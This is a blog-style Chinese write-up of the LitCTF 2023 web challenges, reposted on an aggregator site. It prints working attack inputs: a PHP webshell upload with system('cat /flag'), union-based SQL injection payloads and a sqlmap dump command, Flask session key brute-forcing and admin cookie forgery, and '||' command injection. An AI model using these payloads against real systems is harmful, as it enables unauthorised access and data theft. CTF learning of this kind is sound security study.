LitCTF-2023-web部分

这篇具有很好参考价值的文章主要介绍了LitCTF-2023-web部分。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

        前言: 不得不说, 这比赛目前是接触下来感觉的最顺心的(虽然参加的比赛也很少...), 原因在于这比赛题目量多, 并且难度很流畅, 对新手真的友好!!(因为我就是新手, 真心能以后再多出来点儿这种比赛)帮助很大的!!!!!

Web

我Flag呢?(初级难度)

查看源代码即可

LitCTF-2023-web部分,网络安全,安全,web安全

瞄了一眼发现先这道题是有彩蛋的(彩蛋后面会用到), 我找了半天, 发现在如下图的js文件中

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

记录一下

LitCTF{First_t0_The_k3y! //第一个彩蛋

看了wp发现也是学到了新东西, 之前对这控制台啥的不太了解(真的菜~)

我们在来回顾一下, 审查代码发现让我们运行如下函数, 做法是将该页面的代码全复制到控制台中的运行框中, 按下回车, 之后在输入指定的运行函数即可

wp说的(对我有用):

当使用元素审查时,切换到控制台可以看到如下提示的.

控制台(Console) 
会输出页面资源报错信息 / js的执行信息 包括不限于 控制台输出信息(console.log("content")) js 调试信息 等。

LitCTF-2023-web部分,网络安全,安全,web安全

就当无事发生(初级)

有点蒙, 看了一眼提示让我们搜索"github.io是什么页面?" , 那我们搜索一下看看有什么思路

GitHub.io是GitPage的一种,是一个用于展示项目和项目网站的托管工具。GitHub是一个代码托管云服务网站,主要用于存储和管理项目源代码。GitHub.io提供了一个功能,可以创建个人网站。GitHub.io通过基于Jekyll工具的Github pages来自动构建网站,同时本身又是GitHub的repo,为使用者提供完全的内容控制。GitHub是一个让大家把用Git这种版本管理工具管理的内容集中在一起的社区。

唉,还是没啥思路, 看wp吧:

很明显,该page依赖于GitHub仓库,而我们知道对于公开的仓库,每一次git的提交都会有记录,而题目描述也很好的暗示了这一点,因为页面部署需要一定时间,但是提交操作已经生效,所以代码的修改会被Git Commit记录:

所以我们可以猜测,flag在页面第一次创建的时候被提交过,但是出于保密原因迅速就被删掉并且很快进行了第二次提交,所以页面就被覆盖了。我们无法从页面获得,但是,可以在提交记录中找到:

LitCTF-2023-web部分,网络安全,安全,web安全

这找的有点费劲, 第一次接触吧算是, 不晓得在哪里可以看到博客的提交记录, 于是我上github上找了找探姬的github, 进一步搜索看到了博客的提交内容记录.

看了别人的wp,真尴尬, 我们可以在右上角的关于中, 看到中间有超链接转到探姬的github主页..

导弹迷踪(初级)

先说我的做法: 看到游戏先玩几下失败了看到页面有level的显示(题目提示也是通关第六关即可得到flag, 但肯定不会手打!!)于是我们在控制台跟进"level"关键词, 成功找到flag

LitCTF-2023-web部分,网络安全,安全,web安全

Follow me and hack me (初级) 

这题可以说是很初级了,按要求get与post传参即可

LitCTF-2023-web部分,网络安全,安全,web安全

接下来看到了彩蛋说是"备份文件还有东西", 那我们可以用工具dirsearch扫一下目录看看有什么或者直接凭借经验在url后面添加www.zip下载压缩包即可

记录下来:

<?php
        // 第三个彩蛋!(看过头号玩家么?)
        // _R3ady_Pl4yer_000ne_ (3/?)
    ?>

LitCTF-2023-web部分,网络安全,安全,web安全

PHP是世界上最好的语言!!(初级)

说是初级但对我来说有点懵逼-.-, 跟着wp复现吧(没思路)

题目是一个用PHP为后台写的一个意义不明的工具x

LitCTF-2023-web部分,网络安全,安全,web安全

题目没有做任何过滤,所以仅考察PHP的基础,一些简单的命令执行函数这样的,看到右边的PHP代码执行框就可以试探性的执行了,关于PHP的基础,目前PHP的基础教程网上也很成熟,读者可自行搜索学习。(但讲实话, 我想不到要往右面的框架上输入命令...)

这里执行system('cat /flag');

Vim yyds(初级)

根据题目提示为信息泄露, 又看到vim编辑器, 翻翻笔记发现如下

Vim缓存

临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "

那我们一次访问一下, 发现访问url/.index.php.swp时,下载了文件, 我们查看发现源码 ,提取重要部分

<?php
$password = "Give_Me_Your_Flag";  
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";
    eval(system($_POST['cmd'])); 
}
?>

那么思路就是我们POST传入的password要与编码后的(那个字符串)内容相等才能执行eval函数

编码后的内容为: R2l2ZV9NZV9Zb3VyX0ZsYWc=

接着如下图传入相应参数发现flag在根目录, cat /flag即可

LitCTF-2023-web部分,网络安全,安全,web安全

 LitCTF-2023-web部分,网络安全,安全,web安全

作业管理系统 (中级)

首先是一个用户登录页面, 我们查看源码发现hint, 登陆看看

LitCTF-2023-web部分,网络安全,安全,web安全

 LitCTF-2023-web部分,网络安全,安全,web安全

现在我看到这页面想到的就是文件上传漏洞, 应该是搞个一句话木马, 用蚁剑连接什么的

接下来我们先上传一句话木马试试

LitCTF-2023-web部分,网络安全,安全,web安全

出乎意料似乎对上传的文件没什么限制, 那我们用hackbar访问我们上传的shell.php, 看看是否确实上传成功

注意:这里上传的文件在本目录的原因是由于前端页面不显示,上传文件后看不到,但是从上传功能区的 " ./ " 可以得知就是在当前目录(官方解释)

LitCTF-2023-web部分,网络安全,安全,web安全

如图发现成功上传, 那我们rce一下, 执行1=system('cat /flag');这里过程不再赘述, flag在根目录中

LitCTF-2023-web部分,网络安全,安全,web安全

当然这里上传成功后我们也可以选择蚁剑连接, 成功连接后进入内容管理在根目录即可看到flag

LitCTF-2023-web部分,网络安全,安全,web安全

这里还有其他解法, 我们参考wp走走

远程下载也有多种解法,当然如果上传有黑名单限制 但是远程下载没有 则可以用远程下载去下载PHP木马文件,然后剩余的步骤和上传木马的操作一样 不多做说明。

输入如下图的内容, 下载后点击编辑文件即可看到flag

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

解法三:直接编辑读取

如果你没有想到 file:// 协议,但是你在上传文件的时候 使用了编辑功能,不妨观察它的Url:

http://node4.anna.nssctf.cn:28090/index.php?op=edit&fename=uploadFileName&folder=./

由于页面所有的操作只有登录这一个鉴权,所有操作都没用敏感目录的过滤(完全没有过滤),所以这个地方我们直接修改路径为根目录,文件名字为flag ?op=edit&fename=flag&folder=/

LitCTF-2023-web部分,网络安全,安全,web安全

彩蛋:访问如下网址

LitCTF-2023-web部分,网络安全,安全,web安全

记录一下: _S0_ne3t? (2/?)

 LitCTF-2023-web部分,网络安全,安全,web安全

这是什么?SQL !注一下 !(中级)

提示我们是sql注入, 并且如下图已经告诉我们闭合方式了, 我们直接手工注入或者sqlmap即可

LitCTF-2023-web部分,网络安全,安全,web安全

并且题目提示我们只有username, password两列, 不需要group by去判断列数了

爆库名:
1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+
爆表名:(这里直接爆flag所在的了)
1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+
爆列名:
1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+
自此得知flag在ctftraining的flag表中, 那我们联合查询即可
1)))))) union select 1, flag from ctftraining.flag --+

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

当然也可以用sqlmap跑

sqlmap -u "http://node1.anna.nssctf.cn:28742/?id=1" -D ctftraining -T flag -C flag --dump

LitCTF-2023-web部分,网络安全,安全,web安全

 

彩蛋: 输入id=2即可看到 F1rst_to_Th3_eggggggggg!}

Http pro max plus (中级)

这题无从下手, 跟着wp走吧

考点:考点为HTTP Request Header

1.只允许本地访问

题目禁用了 xff (X-Forwarded-For)这里使用的Client-ip去伪造本地访问。

LitCTF-2023-web部分,网络安全,安全,web安全

LitCTF-2023-web部分,网络安全,安全,web安全

这里说我们不是来自这个网站, 那我们就构造refer头

LitCTF-2023-web部分,网络安全,安全,web安全

又让我们用Chrome浏览器,那我们构造ua头

LitCTF-2023-web部分,网络安全,安全,web安全

这里又让我们上代理, 构造via

LitCTF-2023-web部分,网络安全,安全,web安全

访问该地址

LitCTF-2023-web部分,网络安全,安全,web安全

查看源码发现如下

LitCTF-2023-web部分,网络安全,安全,web安全

接续访问得到flag

LitCTF-2023-web部分,网络安全,安全,web安全

接下来让我们了解一下http头吧, 这上面的我老多都忘了(当然是记我笔记了, 不可能白嫖的)

如果想要了解更多关于http头部的信息可以参考 HTTP 标头(header) - HTTP | MDN

彩蛋 (高级) 

这里汇总一下之前的彩蛋即可:

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

1zjs(高级) 

首先审查元素发现如下

LitCTF-2023-web部分,网络安全,安全,web安全

访问上面的地址看看

LitCTF-2023-web部分,网络安全,安全,web安全

继续访问看看

LitCTF-2023-web部分,网络安全,安全,web安全

好了, 陷入盲区了,看看wp

很典型的 JSfuck 如果你不了解 你可以去搜索引擎检索JSfuck的相关信息,除了js 还有很多语言有这样的特性,读者可以自行了解。

而JSfuck本质上还是js代码,我们在上面说到,控制台能执行js代码,所以直接在控制台执行即可:得到flag

LitCTF-2023-web部分,网络安全,安全,web安全

Flag点击就送!(高级)

这题没思路, 跟wp

考点为 flask session 伪造

密钥为 LitCTF 有点猜谜成分,已经暴打出题人。

进入页面后

LitCTF-2023-web部分,网络安全,安全,web安全

那我们输入几个看看 , 输入flag

LitCTF-2023-web部分,网络安全,安全,web安全

输入admin

LitCTF-2023-web部分,网络安全,安全,web安全

所以到这里大致的方向就是去伪造 admin 的 session。

这里假设 有一个字典 我们尝试用这个字典去爆破正确的密钥: 

pass.txt:
...
LitCTF2023
LitCTF

这里我们使用 flask-unsign

安装方法:

pip3 install flask-unsign[wordlist]

然后指定字典爆破:

跟到目录下输入命令进行爆破,确定秘钥为LitCTF

$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 2 attempts
b'LitCTF'

LitCTF-2023-web部分,网络安全,安全,web安全

确定是 LitCTF 为密钥后就可以进行伪造,这里一把梭脚本(感谢./Tao师傅)

以上是wp做法, 我弄不懂, 看了看别人的wp, 直接上github找工具包吧

工具链接: https://github.com/noraj/flask-session-cookie-manager

这里懒了直接下载zip拖进kali, cd到指定目录后输入以下指令

解密: python flask_session_cookie_manager3.py decode -s “LitCTF” -c “eyJuYW1lIjoiamF5In0.ZGCa_w.8Lc4BMfby2EluMdcKhltNqwyZxk”
若成功解密则说明"LitCTF"是正确的key,那我们对"{'name':'admin'}"进行加密即可

加密:
python flask_session_cookie_manager3.py encode -s “LitCTF” -t “{‘name’: ‘admin’}

得到数据后抓包修改cookie发包即可

LitCTF-2023-web部分,网络安全,安全,web安全

Ping

依旧没啥思路, 跟着wp

JS禁用

因为前端验证依靠JS脚本,所以直接禁用js脚本就可以执行任意命令了:

payload:

1.1.1.1 || cat /flag
//管道符的作用, 大家可以自行下去查阅, 这里页面本来就是要求我们只能输入ip, 那我们可以用
||: 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

试了几下似乎, ||符号前面什么都可以, 均可以回显flag

这里在介绍一种方法

查看源代码发现前端使用check_ip()函数来校验, 看了看wp, 我们可以将函数体置空

不过没有更细节的教程, 我太菜了不知道如何用

LitCTF-2023-web部分,网络安全,安全,web安全

总之,放个官方wp链接

Docs文章来源地址https://www.toymoban.com/news/detail-714549.html

到了这里,关于LitCTF-2023-web部分的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全

    团队名称:ZhangSan 序号:11 不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~ 简单记录一下,实际做题踩坑很多,尝试很多。 先扫了个目录,扫出 start.sh 内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。 开始做题,题目让我访问路由 /

    2024年02月10日
    浏览(41)
  • 2023年广东省网络安全竞赛——Web 渗透测试解析(超级详细)

    任务环境说明: √ 服务器场景:Server03 √ 服务器场景操作系统:未知(关闭连接) 通过本地 PC 中的渗透测试平台 Kali 对靶机进行 WEB 渗透,找到页面内的文件上传漏洞并且尝试进行上传攻击,将文件上传成功后的页面回显字符串作为Flag 提交(如:点击超链接查看上传文

    2023年04月08日
    浏览(57)
  • 2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

    终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 看到是SSTI,焚靖直接一把梭了。 瞎了,执行 ls / 时候flag文件在命令旁边没看见,find命令找了好久呜呜

    2024年02月07日
    浏览(54)
  • [LitCTF2023] web方向全题解wp

    签到题,f12获取flag 这里注意看一下源代码,有彩蛋 先留着 前端js小游戏 开调试器进行代码审计 可知当游戏进入 finished 状态的时候会得到flag,可以直接找到 传参题,按照要求传参直接出 传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问 www.zip 下载

    2024年02月06日
    浏览(39)
  • 基于密码的认证:现代网络安全中的基本组成部分

    作者:禅与计算机程序设计艺术 在互联网时代,人们越来越依赖于计算机和互联网设备进行各种事务性工作,特别是在金融、电子商务、银行等领域,越来越多的人开始重视信息安全。信息安全的第一道防线就是网络安全,网络安全的保障和维持取决于很多方面,其中最基础

    2024年02月06日
    浏览(37)
  • 【网络安全】网络安全威胁实时地图 - 2023

    360 APT全景雷达 瑞星云安全 瑞星网络威胁态势感知平台 Bitdefender 提供的网络威胁地图服务的官方网站。 Bitdefender 的威胁地图可以显示全球网络威胁的实时情况。通过该地图,您可以了解各种类型的网络攻击,如恶意软件感染、攻击来源地、受攻击的目标和攻击类型等信息。

    2024年02月14日
    浏览(59)
  • 第三届陕西省大学生网络安全技能部分WP

    题目代码如下: payload: http://e2e84684.clsadp.com/?PK=/flag 题目文本 8881088410842088810810842042108108821041010882108881 0为截断,0前面的4位置相加之后为26个大写英文字母的索引,exp如下: 使用kali中join工具爆破出zip密码 在key.jpg中 右键属性里面详细信息获得一串韩文加密 通过在线网站解密获

    2024年02月08日
    浏览(45)
  • 【吃透网络安全】2023软考网络管理员考点网络安全(二)网络攻击详解

    黑客的攻击手段介绍,常见的网络攻击,软考网络管理员常考知识点,软考网络管理员网络安全,网络管理员考点汇总。 后面还有更多续篇希望大家能给个赞哈,这边提供个快捷入口! 第一节网络管理员考点网络安全(1)之安全基础 第二节网络管理员考点网络安全(2)之

    2024年02月13日
    浏览(52)
  • 2023年网络安全竞赛——网络安全应急响应Server2228

    网络安全应急响应 任务环境说明: ü 服务器场景:Server2228(开放链接) ü 用户名:root,密码:p@ssw0rd123 1. 找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交; 使用用户名和密码登录系统,如下图 在 Linux 中,可以使用 “alias” 命令查看当前系统中定义的所有

    2024年02月10日
    浏览(38)
  • 【吃透网络安全】2023软考网络管理员考点网络安全(三)计算机系统安全评估

    计算机系统安全评估准则,计算机系统安全评估历史,软考网络管理员常考知识点,软考网络管理员网络安全,网络管理员考点汇总。 后面还有更多续篇希望大家能给个赞哈,这边提供个快捷入口! 第一节网络管理员考点网络安全(1)之安全基础 第二节网络管理员考点网络

    2024年02月13日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包